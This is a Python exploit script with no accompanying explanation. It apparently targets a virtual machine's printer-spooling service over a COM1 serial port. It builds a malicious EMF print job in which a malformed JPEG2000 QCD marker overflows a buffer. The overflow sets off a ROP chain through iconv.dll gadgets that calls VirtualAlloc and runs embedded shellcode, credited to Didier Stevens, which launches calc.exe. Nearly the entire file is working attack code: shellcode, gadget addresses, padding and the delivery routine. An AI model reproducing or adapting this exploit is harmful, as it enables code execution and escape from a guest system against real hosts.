from ctypes import *
|
from ctypes.wintypes import BYTE
|
from ctypes.wintypes import WORD
|
from ctypes.wintypes import DWORD
|
import sys
|
import struct
|
import binascii
|
import array
|
import zlib
|
|
class DCB(Structure):
|
_fields_=[
|
('DCBlength',DWORD),
|
('BaudRate',DWORD),
|
('fBinary',DWORD,1),
|
('fParity',DWORD,1),
|
('fOutxCtsFlow',DWORD,1),
|
('fOutxDsrFlow',DWORD,1),
|
('fDtrControl',DWORD,2),
|
('fDsrSensitivity',DWORD,1),
|
('fTXContinueOnXoff',DWORD,1),
|
('fOutX',DWORD,1),
|
('fInX',DWORD,1),
|
('fErrorChar',DWORD,1),
|
('fNull',DWORD,1),
|
('fRtsControl',DWORD,2),
|
('fAbortOnError',DWORD,1),
|
('fDummy2',DWORD,17),
|
('wReserved',WORD),
|
('XonLim',WORD),
|
('XoffLim',WORD),
|
('ByteSize',BYTE),
|
('Parity',BYTE),
|
('StopBits',BYTE),
|
('XonChar',c_char),
|
('XoffChar',c_char),
|
('ErrorChar',c_char),
|
('EofChar',c_char),
|
('EvtChar',c_char),
|
('wReserved1',WORD),
|
]
|
|
class COMMTIMEOUTS(Structure):
|
_fields_=[
|
('ReadIntervalTimeout',DWORD),
|
('ReadTotalTimeoutMultiplier',DWORD),
|
('ReadTotalTimeoutConstant',DWORD),
|
('WriteTotalTimeoutMultiplier',DWORD),
|
('WriteTotalTimeoutConstant',DWORD),
|
]
|
|
class TPVM:
|
|
SERIAL_PORT=b'\\\\.\\COM1'
|
|
def __init__(self):
|
self.hPort=windll.kernel32.CreateFileA(self.SERIAL_PORT,
|
0xc0000000, #GENERIC_READ|GENERIC_WRITE
|
3, #FILE_SHARE_READ|FILE_SHARE_WRITE
|
None,
|
3, #OPEN_EXISTING
|
0,
|
None)
|
if (self.hPort&0xffffffff)==0xffffffff:
|
raise Exception('the serial port could not be opened (0x%08x)'%(GetLastError()))
|
if not windll.kernel32.SetupComm(self.hPort,
|
0x20000,
|
0x84d0):
|
raise WinError()
|
dcb=DCB()
|
dcb.DCBlength=0x1c
|
dcb.BaudRate=0x1C200
|
dcb.fBinary=1
|
dcb.fOutxCtsFlow=1
|
dcb.fDtrControl=2
|
dcb.fRtsControl=2
|
dcb.ByteSize=8
|
dcb.fAbortOnError=1
|
windll.kernel32.SetCommState(self.hPort,
|
byref(dcb))
|
commtimeouts=COMMTIMEOUTS()
|
commtimeouts.ReadIntervalTimeout=0
|
commtimeouts.ReadTotalTimeoutMultiplier=0
|
commtimeouts.ReadTotalTimeoutConstant=20000
|
commtimeouts.WriteTotalTimeoutMultiplier=0
|
commtimeouts.WriteTotalTimeoutConstant=20000
|
if not windll.kernel32.SetCommTimeouts(self.hPort,
|
byref(commtimeouts)):
|
raise WinError()
|
|
def __write_packet(self,buffer):
|
bytesWritten=DWORD(0)
|
if not windll.kernel32.WriteFile(self.hPort,
|
buffer,
|
len(buffer),
|
byref(bytesWritten),
|
None):
|
raise WinError()
|
print('%d bytes written'%(bytesWritten.value))
|
|
def __read_packet(self,n):
|
buffer=c_buffer(n)
|
bytesRead=DWORD(0)
|
if not windll.kernel32.ReadFile(self.hPort,
|
buffer,
|
n,
|
byref(bytesRead),
|
None):
|
raise WinError()
|
print('%d bytes read'%(bytesRead.value))
|
return buffer.raw
|
|
def __write(self,buffer):
|
while len(buffer)!=0:
|
n=min(len(buffer),0x7ffd)
|
self.__write_packet(struct.pack('<H',n)+buffer[:n])
|
buffer=buffer[n:]
|
|
def __read_1byte(self):
|
b=self.__read_packet(1)
|
if len(b)!=1:
|
return 1
|
return struct.unpack('<B',b)[0]
|
|
def do_command(self,cmd):
|
self.__write_packet(struct.pack('<H',cmd))
|
if cmd==0x8002:
|
return 0
|
return self.__read_1byte()
|
|
def do_data(self,d):
|
self.__write(d)
|
return self.__read_1byte()
|
|
def close(self):
|
windll.kernel32.CloseHandle(self.hPort)
|
|
def main(args):
|
#some constants
|
PRINTER_ID=1 #should probably be an argument really
|
SHELLCODE=binascii.a2b_hex('e8000000005b8db31b010000568db313010000566a0268884e0d00e8170000006a008d832301000050ff931b0100006a00ff931f0100005589e55156578b4d0c8b75108b7d14ff36ff7508e813000000890783c70483c604e2ec5f5e5989ec5dc210005589e55356575164ff3530000000588b400c8b480c8b118b41306a028b7d085750e85b00000085c0740489d1ebe78b4118508b583c01d88b5878585001c38b4b1c8b53208b5b2401c101c201c38b32585001c66a01ff750c56e82300000085c0740883c20483c302ebe35831d2668b13c1e20201d10301595f5e5b89ec5dc208005589e551535231c931db31d28b45088a1080ca6001d3d1e30345108a0884c9e0ee31c08b4d0c39cb7401405a5b5989ec5dc20c00ea6f0000945d0300000000000000000063616c632e65786500') #Didier Stevens' winexec/exitthread
|
WRITABLE=0x1010ff00 #end of the .idata section of iconv.dll
|
BASE=0x40000000 #where we want the virtualalloc
|
|
t=TPVM()
|
t.do_command(0x8001)
|
#header
|
t.do_data(struct.pack('<20sIIII',('%d'%(PRINTER_ID)).encode('utf-8'),2,0xd,0,0))
|
#jobheader
|
t.do_data(binascii.a2b_hex('2b000100140000000000000014001d000000000063727970746f61640050494e42414c4c57495a41524400'))
|
|
###############
|
#emf
|
emf=b''
|
#emr_header
|
emf+=struct.pack('<II',1,0x84)
|
emf+=struct.pack('<IIII',0xf1,0xf2,0x130b,0x1855) #bounds
|
emf+=struct.pack('<IIII',0,0,0x53fc,0x6cfc) #frame
|
emf+=b' EMF' #record signature
|
emf+=struct.pack('<I',0x10000) #version
|
emf+=struct.pack('<IIHH',0,0,0,0) #bytes,records,handles,reserved
|
emf+=struct.pack('<II',0xc,0x6c) #ndescription,offdescription
|
emf+=struct.pack('<I',0) #npalentries
|
emf+=struct.pack('<II',0x13ec,0x19c8) #device
|
emf+=struct.pack('<II',0xd7,0x117) #millimeters
|
emf+=struct.pack('<III',0,0,1) #cbpixelformat,offpixelformat,bopengl
|
emf+=struct.pack('<II',0x347d8,0x441d8) #micrometersx,micrometersy
|
emf+=('\0'*0xc).encode('utf-16le')
|
#overflowing buffer
|
o=b''
|
o+=struct.pack('<I',0x1001c94c) #mov eax,edx&retn
|
o+=struct.pack('<I',0x10110284) #target --.idata!_iob_func
|
o+=struct.pack('<I',0x1001c594) #value --pop ecx&pop ecx&retn
|
o+=struct.pack('<I',0x100010b1) #mov ebp,esp&push ecx& call ds:_iob_func
|
o+=struct.pack('<I',0x1001c595) #pop ecx&retn
|
o+=struct.pack('<I',0x1001c594) #pop ecx&pop ecx&retn
|
o+=struct.pack('<I',0x1000cb5c) #dec eax&retn
|
o+=struct.pack('<I',0x10003d43) #add [eax+1],edi&mov esp,ebp&pop ebp&retn
|
o+=struct.pack('<I',0x10001116) #pop ebp&retn
|
o+=struct.pack('<I',WRITABLE-8)
|
o+=struct.pack('<I',0x1001c120) #mov eax,[ebp+8]&pop ebp&retn
|
o+=struct.pack('<I',0x41414141) #
|
o+=struct.pack('<I',0x100010b1) #mov ebp,esp&push ecx& call ds:_iob_func
|
o+=struct.pack('<I',0x1001c595) #pop ecx&pop ecx&retn
|
o+=struct.pack('<I',0x1001c594) #pop ecx&pop ecx&retn
|
o+=struct.pack('<I',0x1001c1fc) #mov eax,[eax]&mov [esp],eax&retn
|
o+=struct.pack('<I',0x42424242) #
|
o+=struct.pack('<I',0x1001c7d6) #pop edi&pop esi&retn
|
o+=struct.pack('<I',BASE)
|
o+=struct.pack('<I',0x10000)
|
o+=struct.pack('<I',0x3000) #MEM_COMMIT|MEM_RESERVE
|
o+=struct.pack('<I',0x40) #PAGE_READWRITE_EXECUTE
|
o+=struct.pack('<I',BASE+0x10) #edi
|
o+=struct.pack('<I',0x43434343) #esi --not used
|
o+=struct.pack('<I',0x1001cae4) #jmp ds:InterlockedExchange
|
o+=struct.pack('<I',0x1001cae4) #jmp ds:InterlockedExchange
|
o+=struct.pack('<I',BASE) #
|
o+=struct.pack('<I',0x8b24438b) #--1/3
|
o+=struct.pack('<I',0x1001cae4) #jmp ds:InterlockedExchange
|
o+=struct.pack('<I',BASE+4) #
|
o+=struct.pack('<I',0xa4f21470) #--2/3
|
o+=struct.pack('<I',0x1001c595) #pop ecx&retn
|
o+=struct.pack('<I',BASE+8) #
|
o+=struct.pack('<I',0x01f3e9) #--3/3: mov eax,[ebx+0x24]&mov esi,[eax+0x14]&jmp +0x1f3
|
o+=struct.pack('<I',0x1000) #ecx
|
o+=struct.pack('<I',BASE) #
|
###print('len(o)=0x%08x'%(len(o))) #must be <0xc4
|
o+=b'A'*(0xc4-len(o))
|
o+=struct.pack('<I',0x1001cae4) #jmp ds:InterlockedExchange --first controlled eip
|
o+=struct.pack('<I',0x1001c595) #pop ecx&retn
|
o+=struct.pack('<I',WRITABLE) #target
|
o+=struct.pack('<I',0x000000f4) #value --esp offset
|
o+=struct.pack('<I',WRITABLE) #writable --edx
|
o+=struct.pack('<I',0x1001c595) #pop ecx&retn
|
o+=struct.pack('<I',0x7fffffff) #
|
o+=struct.pack('<I',0x1001cae4) #jmp ds:InterlockedExchange
|
o+=struct.pack('<I',0x1001c1e0) #__alloca_probe
|
o+=struct.pack('<I',WRITABLE) #target
|
o+=struct.pack('<I',0x00078c48) #.idata!VirtualAlloc-@edi
|
o+=struct.pack('<I',0x1001cae4) #jmp ds:InterlockedExchange
|
while (len(o)-2)%6!=0: #padding to satisfy length requirements
|
o+=b'Z'
|
#jp2 contents --the code still parses the codestream if no valid header is present, so I skipped it
|
j=b''
|
j+=struct.pack('>H',0xff4f) #SOC marker
|
j+=struct.pack('>HH',0xff51,0x29) #SIZ marker
|
j+=struct.pack('>HIIIIIIII',0,1,9,0,0,1,9,0,0)
|
j+=struct.pack('>HBBB',1,7,1,1)
|
j+=struct.pack('>HH',0xff5c,3+len(o)) #QCD marker
|
j+=struct.pack('>B',2) #sqcd
|
for i in range(0,len(o),2): #switch the endianness of the words
|
j+=struct.pack('>H',(o[i+1]<<8)+o[i])
|
j+=struct.pack('>H',0xffd9) #EOC marker
|
j+=b'\x90'*(0x200-len(j)) #unprocessed data
|
j+=SHELLCODE
|
j+=b'\xcc'*(0x10000-len(j)) #has to be at least 10000h long to avoid a read AV
|
#custom 8000h record
|
r=b''
|
r+=b'A'*0x28
|
r+=struct.pack('<I',0x50)
|
r+=b'B'*0x1c
|
r+=struct.pack('<IIII',0x43434343,0x10,0x10,0x44444444)
|
r+=b'E'*0x18
|
r+=j
|
emf+=struct.pack('<II',0x8000,len(r)+8)+r #type,size
|
#emr_eof
|
emf+=struct.pack('<IIIII',0xe,0x14,0,0x10,0x14)
|
emf=emf[:0x30]+struct.pack('<IIH',len(emf),3,1)+emf[0x3a:]
|
#devmode
|
dm=binascii.a2b_hex('7000720069006e00740065007200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001040005dc0008040fff010001000100de0a66086400010007005802020001005802010001004c006500740074006500720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000545045580f020000000c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000010110141e000e1464000614f401060f00000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005450504405000000')
|
dm=b'%%EMF'+struct.pack('<BI',2,len(dm)+5)+dm
|
#emf_spool
|
h=struct.pack('<II',0x10,0)+'Google\0'.encode('utf-16le')+struct.pack('<HII',0xdead,0xc,len(emf))
|
h=struct.pack('<II',0x10000,len(h))+h
|
#emri_metafile_ext
|
f=struct.pack('<IIII',0xd,8,len(emf)+8,0) #"offset is counted backward"
|
e=dm+h+emf+f
|
d=zlib.compress(e,9)
|
d=struct.pack('<II',len(d),len(e))+d
|
d=struct.pack('<H',0)+d
|
###############
|
t.do_data(d)
|
t.do_command(0x8002)
|
t.close()
|
|
if __name__=='__main__':
|
main(sys.argv)
|